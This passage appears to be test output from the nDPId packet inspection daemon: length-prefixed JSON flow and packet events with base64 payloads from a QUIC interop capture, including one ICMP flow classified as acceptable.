4T0\/57hSynFcJmZ\/vPHs4Zy7q56TCSl4d+VsSTq1LloCDkg6RP3haFWDP2PI+kPq78FxutQKFuxO\/+6HmI4lqB6eHDBTGzWev+TbbqdWf1kCDvOjPiHPplrZIrVT5gPoKbdCLGe9+Z\/WJxgK1ztYBQJX3gDt7YKUvpcsYSJx5hYd4Pbg2XONdMHKGjexyQFAYrLpPeSAPK2g3JyTv2O64+PvIxbr7vfmUS40XDh8+GdEMxgHL1LT3dN\/uwyxzujvk0PCLIEJsftuWYGEyysxAnfbq7tZrZDWJYZ1zqeYAQI3o1rSOMo19dCJr\/SeKwchtWtgui+6Z8kbP7ZNRIG9iMwtawjynuX0lg40grnK9wtrZT20mGLDluxUnqPR2Ya0j\/qCzLLLaOjIoFL1q4\/lCOor6WBrq8elNBk5iO8rb8fbtt9\/4JlFfyiewr6uXyYM1s5uXjwsT99d6Mnyi8M4baSFvZRbOnODfpnmSldFBlRuyKc2szbSo72txr5Di3bGL+iHn57yTlzA7t9ATe5rhpN1ZWp3VSQtUgCBvg=="} +02109{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":872134,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUADmtAAEARHmvAqAGAilu8k8YREVIE7GONwwoKCgoI6izyia7+eS8AAETScngLDfjXghSPC7duRyPSpMPtWTC79JyAZxwqmEqWqNWSWMWmFLuPk9oGy4fXd7z72qbb6jr\/EnCk7FnO+s0bsZLiKHOXEuo+GcHU09BMhh4EmyYptHzG7DOoB4Sd2pWmRmb6c9LBdLdwsHtKxHNmiIQUSRVQnMpRIyvlXPkU6nTo0YyD\/obheYKmgDy1ho1VnrfGdLYlBkag4kT1oQOZTG9+mhnitUZIe+ozJd6u0tG26mFLL7knsp+9U+VKV9u52HL7lKR0WVnuEDzB17SU0m8zVCCj9MVQEwWJDJ1ux5GCWS2b7c2yTWTCI91LI\/F35sKv3v7MMqotgEZSXVL1ivK3Z7smJw\/iK\/6ar1mNuQ8MU2\/NGym7yTMhGXF3fAemLV6M1uneC0vNdHOzhv57+O3AqJM4a+EmbtV50\/nZf6pz5UrZqJNCidEyOWTmbDofN7OsAm57hVxn\/XC2pMyCv0Fepyh5ttXmq553qHRn18wDd9L34CT94LDsMgwG596ZdFIyj6QkaL856tTsbqddyC2ZfTgtQx26khp7MsxYFfmpqSsQEb9KfuBSj36w72RjbgJ3fQdOxDR4RT1xowkoq22dS+QAqBm2Dd4sxulGWnoaFudK8gHlNrfGbx26N+mX2Jc6Vj6LdBstcz6yeDVENg71A\/001oOmlP030uQ0TbnFgFgn7aIoRBlufPSv9pH2zDZye53YeXWEA5DAfqkc7bVQEI3rdq+ZY7s7I+lKzzpRtlu91rxGuV3SjGxOYGMpnXlxHNAlbR7A4VWtwOcrA441SbQglMfrYOGB7Z9NRqaxnhUPMxk9a1KiiqDKfgv0MaBFZbuOEe6YnTPuzUrKOLEjHLZ9bmcQPTy\/YvkARzbBa7q1QvsLvxmOP3B7rMN8LAIkEH2T0OBsBB1zpChBKBGaNSd8s0TFrmv7R\/CGXfagfdnI1cqbuj+1zfB+FSuDHrBjF2DvCaC2RJGPjCC\/j62r+cVJGkTaEiaBpCEO8wA4AgsW3MwqN4OZ37IbcFWIvaa\/+y231gZP23yO3JaNsGEWCjoT17ai\/DMdj1TjeE2wDVLXHqg98LyQxR\/bbk4IteWmjG\/icS8Ms3Dcjq+cXno8lfK8TGt3KwqGaJy2k2+a5BzEOWFJ3no139Z2S8uMrh7YsuMh7ZXOYa5uhRAMHeXxNatyG+m5uNGNjzGCPt+Rv3E4zj6ciqzRBqbfW+nI7kIwig7MXmsC5Uq4tHNHUzqIbNTRHqTT\/fL91YJNTCvAhTXl2lWp2zIo06rwsOkXPxZN3ZJ4euFWeIRw30e3rU6jfp5hC9IXqxoEENAOZrUKfs87Q6CP4XKZ5R3b5oqBn+IY\/IgIdgD\/h30af7RVQ0X68A3Ti5ZOuvE\/IHYJfhHtVJnWbp+WFpDUQJlqHQSr5PMilCpyyA97MG2jSOMqg01p+uvHy41LIl8XoR68Ul3b\/G0m8Fi\/Bv6uYSzPnOYlaV8NURgLyTy64hty+AbEaF\/1PlCPtpYtCK8kyKKtacBy0dgQv77gc5W04RLVjcP6WSVklW0uY5G8OeXUttQRf1ykDZb5LWWVPUT0XhuLqFMa\/YHZFdhBosbW\/FXyXEN1Exl9+9\/jp\/U2oUJAVhJcQ\/Yu62+7rMjwU0KMA4YEW3x+SA=="} +02104{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":880489,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAgKbBNgRQCABCwcKydWupNP+R2kegH0mBkcAABAAAAAAAABoFggmo4ERUgTY5TrBCgoKCghziEmCXfFrHwAARL5LtYR3ejPf\/p3z4CC05PowI2I8\/yhShfm5nPX+w2RMm09Epp7xl+kBRRhqGjOWMvDuvKtjnCZP4h43yInAnyoQy6CqAqM2X0CJjYqFRLzhwJbIqw2DVbxOowFB4MPGm0ZSauJhv35hdaMdrkpEWiZjZxAcIt9QXdAe3ei5ci4QFJrTlck2vWOijZIoEgmR7v8f3b2ShmI6CdJBBEhbx7x+xdhmvF7QyLqpOKHrLTEfG+pOv4\/x0hdm8B4rKN9lYhLlGSoGddMbooBzzRUA7p16+7rbjImGPkS1MotpttG8+odH6+SDLBY+X3GstYZ1FO\/bzamHEZxYZMgP1ghrma\/s7dEMtCivJ8V9DDtANnntchI6kgniK9bzzOeDCsdM9ITRIlN2z\/Af3okU9roB71yq\/9DX\/TdkJvaU2WO+UeMMmr8r9mAF+UKfPefAvtmM4XpTI7S0sOggW9+ylbRk868BabyiGaalY7v6ElyxYQX5Lm+7f22jDAR\/1Rxw+pqMGJoYSAUT0vcKEq7ImLo5wdD1HbPPsQSmOUj6sUs4CO\/fnKY8anJpGjgDy0aXUYk8jHpkks0Ogglg+nRuCH++j5UW1f7ZAEpNa9vxdlT60Esd66TkVHOw+4sOrTBkOSin7f9JufqnL0\/oha9fVnFNoEifDQokis3kLSU3qOhha5NehjGyqXC4mPnsRXhV1FSJLx2VGefOAKopFDtlBUj77lmzpE4bT3pVw7XDcnU98fJgVGUI0JycRmnYXeBdfKKKe\/C3yD3TJtdWJpUxFWlLU5JBLw1DK7Jaeoa2CHR+Mm+Uos1NDX1p\/Tae7YJ3QTohWBSmBEM8sQU24dwTVN4u9NduhdNUw4abqXZHWWatpGkhOGi+ztCmJQyFuKmz76ia0aYCpdIQEteOm4a+0nCcqQW98i\/PWMOzXN5N4iJBlj7Z1kEIRjKqOh15d3MSiivlm0kY3uvwpzNG6z\/mG64H\/Ch0ZjLDFL0Lh7Mq4u7sR0TzJNJGk7sVaiEPpK8iv5ewweeTFC5Rl0GpKG2cTtrRDh3Jlv0fDheeAqwjrpXOD7ekCHhXvPoBEqPIW59s0aKn33+\/B+x4kneJZP\/w76GqJhpArO5oYmd2nyPv2SM++J5j4el8Gz8DMsGeqEBtxHDWRjkM1rYAvTzN5xb8x5DuFADLFqHlRDraOgEM0xdsEf3hQUK7mhuUCaQGZBsNRdHnNvZL2CgICOnYLx\/yP6eBn+tj4fdyypHuoUxCV0l91OyAz1zzMppQmM\/MZw4IjgKddLGGzkfD9eH5L2StADzoe\/+tl+Vy4q2cConEMFDs6PaRjEIki+cwlbYxOX5IGAOH+nU45b+AhHH3CTnzqcfB1hVJ27u+6GOUu8zMsLgjDTrc3Bi318\/NgqlATYv79utqKeVxozT3TLQMpSZijN7B8+4KqJeZKEmn2cSaCzlZY7LsE5mGMSEER6hyX0D9p3bjlWs1ZL9V6nrrfHoSzPveONxywVsTghmtxCvne0EGPCkAlJjIUsDS0C0WhRU05kFBDzqpkLuoJAtfN6wRz1A7m00svwCrcx6jydEIcQPaUg5llHIZhpOg+oB895RjVpCjMpMpvctTtfDIJJw1H3cf+g=="} +00460{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":131,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1603816434886,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"133.242.206.244","dst_ip":"192.168.1.128","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +01151{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":886049,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJAYQkAAC0BE6WF8s70wKgBgAMDPAcAAAAARQAFAILLQAApEbMSwKgBgIXyzvS\/\/xFRBOzO1McKCgoKCBW0hlcD4wtQAABE0o5ETsyCKfAiv3GjrhWWAHytWjhKjuCcE8PQ+8\/rlGyAU8f1x+Mk3FCdRieZy\/gIKc\/JJBqsu6Id+Y5I6UUEss09jcswdjUwYmczoGMjYqPo0TgEgq07LxXN2ezzpPgN8+p4f8xWtCxwb8JafjHIFjRWKZy5A\/ktd7oDLtros16gjzk4ANxurCLBEjXn1mc4A1OkxNBYnuq2VBy6bBpOv61yDRD8YC\/\/cKt+DeKlIab2wioxKuuqTJaa6bcvjsxaGxss1fmXynI35PYXkvPyrb+OmmsPeoZV51Hz2RzGwPglrJrYbrEQT\/ivLiFpZ023Tc\/UX5\/6yEdVpklz8RpLexVa6Bn2z1jbV1c+PvjbnEyP4B3XT1q2R1U8Zg+Hg2foBKQpPal7OLyEEZLoYQ0+yrbDuTkJcdCxkssUJpGttMtaDpOYAt3rqklkL5jPHrEd1C+FSNb\/c7TK\/C4zJ9DojLveQhKMASAjgDcBaayNHzmzBxrLpcHuZ77JWq9eQca55sxDzWYh2vyNpayRp3s936eLgTzDYJED3HFsEu7Un7VVKrpKCJGjDAw7oK0mEPfQD9p25UX36n9yQOALJibj1tF+6rPwcqd1enHsqJO2F24HI5WHL0GiGGP5cRaXpNzZ+ijbLCxtX7NKJN8+IHswHT8wg8Yb1lU="} +00492{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":131,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1603816434886,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"133.242.206.244","dst_ip":"192.168.1.128","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00440{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":890937,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5CABFAAA3dApAADIRazjK7txcwKgBgAG7mBUAI5npkwAAAAAACEmkvxz+BSBNGio6Sv8AACD\/AAAd"} +02103{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":894238,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAwXZAAEARa1\/AqAGAilu8k6XkEVEE7KGrwQoKCgoIR0aH1pvahxkAAETSKZaHE9N9GtJMYvv9ifpVeuysckzKOAoBynmJqbZIyXXd6Q0OaiDA1+eXkNpoukJH66d1qZWl2up+oJkJlE2iNPjRL4rTXi4tGFWkOc7OU1ijBfm7sZPOTclysKOTLlG\/wLwmM+4bmiv8t1VJI8ny49KjxXkbGme9dgA0bkSUFasSUnlJAUa50AK97fShfQXzqeK5Dg+WXkJ5xuGOQHrunpIaEPTkH8dZAQC0kgGeFDv4HG0pqkwbzV+IYkH7SmFammklwji5+p3TbOylB01wJbffLThybxWnDqogivkmpQmkVpMhBwMu\/9xKEoVlmIM6B4v9QOFFHqhSd9Fs3q++BMu\/YhweSpnGUx72yfkjBJM\/IRzi1GX4pw11eJz1\/3qBdeWldk+sRUQcox4In2qe+wuxVw2osgoNlI9YvrG4D8P\/zIyWUtdNaLtHhPMgDgiAC91NDmgmJENXcA\/RXPQYvhOdBOfaMfqQoVoSR7Q4FTIccfFsCF+5xHFnMAndfXwOCyIdbeaeIVCpMSQ3bCvvDIsU716Wq\/5J449XPD5T8+ox9fqnlN0Jxyqab0XJ72k9txuNkHNYBZFINRTioCXl6izgIEtcruHCYZt+ILtV2gUUjuR8FtecwJtSSrY5wTZrfp6mz9U9VqFe6kCmkDBYZVE9CTSh5jPIMshdFPvlPyb9jOL5Oce8EEmxF50G+MImURL0E5jw4S6VFP1JWS9s3SOl2ok90TOvvWFQkYQVIGjzaMpXtyBqGjbtpCnFbad8ojifR\/YqGipZKY7YjkWGjouJV\/EDirr0Js9ZOS2bLt0d5OKTRnFRrYMUX7KY8zvzFslodkxSsLJ9F5kbgxZelMuuAZS\/WjzvvYQWm+fu6fqiOFgxzt4cf5I3rtZr1vhb\/mlhSZdfx+5dh2+Bw05\/c+ZhZcGWQVWlIJoLVTK8wVhhxCprdVxcD8azYdyGHI2yjdhdg8y5T1SHS+wMUv3TrTEkgaPMJSS\/bG830bq4zk9YF1gPTLVzdsj3uGV0Cb2GuAxyajIFBjWG43Q+tx8KNtdSeW621EE8H3LtU5Co2FzEFLWry1aFgbJB2zQ2iUthr7o+cxvl+I9ObWsbtyiFbbosM9ubsa940D830mP6uzArtiDHR\/\/tFLOFL88JLiryCWee0dBawNwyN0l3KoWaf0+xrkvJmDrQtP2edAcztmf7vS5YtS7p+DLQu7CH9K63Utaw3a3fUEMW7mKw5KR+OTvLaDXf+fl5pRlYNEqDRWXH4I909g6Vz4OrKab3fRk6tpbyc6YOZkWMRgcj4QWKv9Jjdy\/GO0VWic\/I9O\/C9pHvyAImGRQQ3Dlm9KvoTkJ8oWVAyBE0qeiaF6eLmq95FTaIvn+MgWKZGoMFAxQpObBG41iLXc68P\/q28rKfRP2cjjT0E2a5yH6RR4ZhTZalehf32S79m5P3+jb7+Xyy8XIUQjKRHLykyRjpXm2fvzGkfd\/uvjbx1WH97nbN6TLHvxcWmIC9p8hr1ew6jGo88bbJUcg867GJeVKG4nDMxlqcviS+1Hf8Ar25WRbo1aTF5rpBjU67mAtQodxvng7drgHRjfXYl0zhU6OqWR+vayEfq8beOLohWXa2bFgOH+TtDLfzLUWOS7634STReD98JKgMwA=="} +00473{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":897001,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5ht1gCwDeACMRMCABSAB4FwEBvnZO\/\/4EYx0gAQsHCsnVrqTT\/kdpHoB9EVHPlAAjX2HlAAAAAAAIQNHw6Rif2eH\/AAAd\/wAAGxoqOko="} +00468{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":904480,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"PKn0qB\/spJGxgjQ5CABFAABHK1BAAGER5T6KW7yTwKgBgAG7nCcAMyiZ0gAAAAAACIcn2n\/RE+TiKroKmv8AAB\/\/AAAe\/wAAHf8AABz\/AAAbq80AAA=="} +02105{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":907412,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA3mhAAEARn6zAqAGAA3nyNtCaEVIE7LaHzAoKCgoILW5Ke\/Z2fngAAETSHQTvnm0+9G1vb7BTEjZzskpzXjbpMrcHz0gPS5pzKBYihh0yQ0Sr1aV8k1o9rg6bOM\/GpzJjqER59i6aQJR65ImkCASlPNdKtEWudFUztJywRXJE0WMjx9vUk4XIDwannGz\/R5a2FTHyP0XTKvbAVKMqMB4I\/qqBFkjMC2huv7iGseMisHhGIvF9Y+glr4s1RnC1mBi+\/XPl87M7D5tgOS94AzsPh1UJInHt4tJL26Yz1d\/vwI5skVC2n\/1aowM5QId7E46DpTrGvFp9aCRfUESeicaIcFeSm3PrEN5ceYoafIYuqgYrvNLc+Yylsk\/yXvSiqy\/+zlTj2oKqOosPDwBqCmPm8vcMLoeN+v1W2ey8vVW5uMCUQufA8GB72HGV+2RT\/5vpz9qMaGq1HG76TMH8sBtth9W4AyPZ9iDMsFq6Eok54g0oUNvCiUylUAXizON3uBPLzjBVmJ\/C+2N7SmKTgUQRCeWphfZJlS4SKtCt0X3BauSbAIVcCj7MA+Yino5fMkxB0BMuPUxM7HQNbXJipLfEL4yQ3RRmqMbDqysPzzAJbuPOAFiBgqHLtzzo66UOAd6gEB7Py3DKhg76GgZYwqmZ8QC9h\/apIwLb1\/G6\/unmmq6kwAbrG3nN+gB9qQBpXSYJ26xeICrDLsOlzCZC1sB12XV05F763GPMHE2ZBFUDMrRzf1i0gViqOOuLWOG4VBPUAywK+h6mxta1MCe991YI3W7\/QeZ6AYIPo64W46ERtNoDZ5sOCRANdJ9zbQKKPxqhsH0N9OKKv3sTcSqimfwKTFMwuvnvH8dA+8CYqWk96ept9Bm7sqEiI3wqjQPD77olpE3nRvxcuyska3uKjRLs2SFTKqX1EzSuEOnwKJlX7ZuJxXk3OgociwN14vjMaNsE9uKQS9t3aLjk3q4sIq4AbSG9Y9h2vXVluTy7JswBTKlq4BfIhRlaY62Yy4QGtgGG75As7Wgdiv+hDmTUS+Ps6g4TCgl8phZw15L4FMY10rxpligHZI\/HjNnqcA4DaHo5+Tp7tX2hJmIZYOcivluexsro6Au7pMQ2n9HVR43rUZsjptw3UqQpCb2OWy4ZINNhAbgAwuaNPgYOzo7sYlyz97Tv3Wd2ttgTqNcPHqAwC7\/4YXtVPV\/YeLVt4w36xXmrwOzwatdcjFs8DuvI9hS6Xw4D9O0bV0DGBNCx1vrxtU8s8H0aEXgq4z+ZVAl2Q56i0ZJwzmdas7FoJCcN93cqdf6+P4xiOkFF8vgoVea3wu4xpylz6K9WVoY3cIZKqSa1klefZWmJJv3Ogtx6YIBESUWuXZeqPzng5GIWVHT69u3r9mA5+YwzBSVrT2vZx4Vydsy7kD4F9eUjgMyOn\/0WDplhSWEo3eEhfgi7NLlyhVp15dUW4g3RhQnRFfHjMJUfBdCNkHH550qSh8jMDE4kthZCIlG9zNTOQM0KDGNaRK84wtxEdxwqNtAICWTjACLWKANvCp+mzri1uWE+vxZY\/vj\/00KNTI6\/rk8ZgLhqYDIv+U4iG8FKYaF0SEzuwdSMMKP2iDo\/xuIOax6m1F3Efq3KByxp4yzQn85xQOQ8jpq\/8LHNvISy3pKDfrujYuy6FBSjRTfrk94N8BQ3p5w4+QWUDOQqCkq5qQHm6w=="} +02098{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":915890,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAqvFAAEARB5TAqAGAjOM0XOJGEVIE7Nl7zwoKCgoIVNEfWrpr6t8AAETShrfNzo+9qnp+G1BNr+NPqmFaUkM\/h55Ql4tGCbbsST4ZsCOJH3iZ7JYO3P49peChePaLXVKdLK0YYrWQg8t7GmhaxB2CD0+epzIPZ66VD7rwq7OnkuE0fTw+H+5DGN6C4OOaKSyCoq+NFx3IU1x8euebBttPq2OSGkdu\/7D4j4Twv1xRu+oxQ8ZrSg\/kIQ2o7Lek57FPo3RdQMWtxO4D50KI6aMOX\/4vQJ0YhEvEZTDLL7P0zEYBS3FkfG5BRMnNM8OS2xFuAGNP8egA0odaLPbu7hnKK6dqMsWCHXaL4z1ts4rvHfV0qtZtYuT6HVeSDg+CFgq5ceN4wJte46d7MKuBURz7EzbVM2nIWikcCm+z5g\/TKbq+4EUu0UPWCrnCi2R0y4zlSgA8otElFMwv4eRVPM5DIi+4mgq4QZXLRxSncdM+e8i1FKdabyKf\/fgPnNPiqktWD2i\/Ytn6hwb0PT829KyNV8w8qQuINiVRNK8v6z4uDo1gpRHQGoEWEPzQmF66aZKhJUDALz0aLvuNs6E5DxkA7evDnMKx23ZgpplW0LpXvfZBf6sTpkqYA5bTCnoN77HxsbMVqIiyOi7BUt81Gm3oiul4eLOGeaupfnDtOFEmieChpFRV7QqpHR1gtfSZKcjqWsbj6yWSBfhj2IsVhoJ71A5dF9pMnHo7jzgI0QSId4q\/oBYeRhid4bbmPnOC8PfYUnLIeUTOc93iRQWwFW46ErsHgYcXsi8Kn65IE59H4qd2EfKOfDVq2FLXmwJm7OvBihgIS+X7vExDef2swcqSsItTKC2AEzOO48HPyOwQptpPwgdGzJZs10c50pg+LjPS4cC2KJBhPCVxFp+H1hQ12K7OIw6JRpTBgkRJyc5I2q\/VVKCZMXHjaqpVvycgRI08WMg+udiVEO6h+zKcZyNwJWwzUereDujzJy4kiGd5Q9nfNls85HhBiVfiWtWQA2IPq7ByLuONs6slYcfWmUoR5FOT4bTXkFSaONzDzhyg4gHbKvl7ndeHBoZA0iJ9K+n3W+hXA6WXw6uxieTqhbMdOQWxtLpMj4kyapDXQK7oZhuWyn1DF42N3y8jGmDuPxu2ETw5a49l2G37BVIw3scgJ0nddPhrj0zP7oEo+ekUENWF4pWlUP5Vx2CoiUpES577jZtdF+tdrAOeLVZkjD8eutborUoKEL\/vOt4yhj3o57GKGA9\/ybf5hbjojtdUNQqxQG55Acf5EMCz988WMxUNz8xCYM03n2C3QkOCdeodEEdHE\/QuIGQTlKt3nx1a7RfKBqe+h2OsJeSBzTqY3F35YiHnZvMCL1V70Hvo3moBF54RZwYiX0MROTBa8aTc+Fxl9EMhE+Pl\/rompnMpyNpDSyVm4UHe62Qx+QRaDkwtDoMxO+P64lmUE4zOarR\/nNH5j1TlIuE0TIjB8RiMvS7syyMZMp0+\/XnqsjuP5dy6Jm3KaUwMqJ8F3AWAoZvvcHPgwyOZoalFKfDP\/GAH5cw+fi21jidpbIXLmrk6IfSGScy3yq15JRb+cF3rRexx4pxdq9Hf2YRvE7vSiJocrJzQsagheeOZEsExtdqpMmUp8kXzR8YYYVfrEAPxvjiuO6w91xT5BhuCWvCmY8AlF06a8Pc+PpRpMSQ8Pd\/Wkw=="} +02119{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":916407,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"PKn0qB\/spJGxgjQ5ht1gCcrWBNg6NCQAiQIAAAAA8DyR\/\/5ppFQgAQsHCsnVrqTT\/kdpHoB9AQREMwAAAABgCNHwBNgRNSABCwcKydWupNP+R2kegH0kAIkCAAAAAPA8kf\/+aaRUlL0BuwTYQzDKCgoKCgjBjvWe+MPFRAAARL4g348kA8mQBcAOi\/Ea5lVgGbx\/7eo9z03nW8pQoHBEiVFxap\/J7yF0T4ETOiXRrEVFzfKu4cp9\/aIHD8VuqdmnRI7ZUzH6nHP6t6XgWjPLu9gwncGiNpy\/62Nk4XPzeji4OQEhiV2wvPwilhPjz1Iw8tA6gxIE\/FJ4VwrM+jhjDDGeJX9BSVBF51kNOZwIfVwErkoa\/qCvtHlDAlGsd67naWgwRHPQ1nkSJwo+9sQMQloIehnYy66qr7McaNefwAbFS5vujjFD0bYEmGDHKA\/F\/y+3qGlJupB5YPSp8wB7Am1v5JD+D\/bG5B5luaL\/5MF\/tQnBG2dxtea8LZG5G\/eV6LyP9L4ooo4IJyvTlEaQ\/ZOeKwlHxchtWnc9B1fL75AWTflk927t027mF4gEUpMwkx4RQMESzJeKbiKyR6Kju8+GylIujiTUOWwe8Pt6FKBiAZLgvlK4YR6upjyxAj1yifEMXI9ck\/VO\/Ck0PU3TrRtvDl\/wfNsVtESwzsMNhYfkwDEb9HKwo5a2\/kMDB2oZkX2VNVeOAH0n3s8tB9WLVe8oKkFTUmog+0QRsMIpnLCWQ75LQKoJv6O1XJQVMkvkriwokuRy8CCP4EpIlVSvXuFArfX\/fbTPCluQ1NH50zOP6ysMQboAYq5P1UCN4zcLGWZaVbF9oa1jAJ6PadCu1EtWpxyNeTUpAe5jtCvh1Ek99dEg6bQ+j6gvn\/Yz8AhHWVisS\/4VPgx2sHYS2FDc4ug9W6gsAFExY3uSitd7XjxK\/bL1oNU+b0jZOhnX4xE5mnhbxzHNAKXSXB2aWDY3+BQWmASrCC3UyA8\/hE91TFVnfAmnegiopiURKjvi8DWlsXJi98UivPepk1KIUkyuwYljhDbFg+Ju8PdCQIp1RdqDT1rPQsla4QcsyF\/NLkn03\/oiCiTPViBgeLpx5IDNsz\/E5PKe7HtjsCqTGdF3JcVQGRMcs6XuK6eeXR39paD1+Ap5R7y4jtTYGF3ERVJnfLPi0OImMpLV78BBWUIiuk57yx\/ByVw1Vi231q0R5hJu+2UkRPleoRsn22QwOy5Wyt6YCa9Njzu+jmkM5SaTLiDskQIXBb6CNyIxDTqisRatDtzI4tGgpDJJrJLyZRRjwm4IUGl4MEcnCWz9P+nJkKiW91BFFECvItcE6tRgENAP6B07ROBWB4xJBDVhnX0WgQS8bETOrbEby5WFiD92Zha2iJfBanxLrhkMlyxfJQvY++OklEMvIXt3v8l2q3dZWFOn4kyWKCN09iij0w0AEDsYLWJZuX4Wd4BeQXUc0TQSuDLkBeoncn1cOIA9nbBX5JYvyr8xLwXYv1YbXFHRI\/Z6kEVdG+BSe850euHBVqJOat4IdCKJnu6NuFXRzdJnMp9gCv2PvmYfbsW9v5iJpCEm0G5joiY+1mWnVbfZAO5JyrBGv3ibTwQYFw\/SIY85UIif3wl0VVblUQH81ysGAOBc9Qkl\/ZLs9Nmdqg326DSTscTecRmY2x8\/F6T2e\/IU6BMaPO19yi\/FICyG9IeO7SjydAWQ627DK5c9b4kcDg=="} +00434{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":937242,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"PKn0qB\/spJGxgjQ5CABFAAAvPTpAACoRkByM4zRcwKgBgBFRrksAG92erQAAAAAACJZN\/7MPP2\/M\/wAAHA=="} +01142{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":937276,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJA3tsAADIBPm7K7txcwKgBgAMD4bkAAAAARQAFAK5\/QAAtETD6wKgBgMru3FyV3hFRBOxqU8oKCgoKCDeSrwfZ37epAABE0nfOfTuYE3FGHZdHfGiJUY988eAI7ihmuAEjMpju712Y0+rFTOqQsOx75gju3BZSE75gRjOJGYGM9g1n440tlIU\/M+kvruGbqkJz+rD5hy9FrYK2xYpqA7GVxFoeceFrGNecACRbMLWA5sUJMBAQI4Mirskb+lcsGGpMpPQTYCB1SsuwX4ytaz6FmecOSNo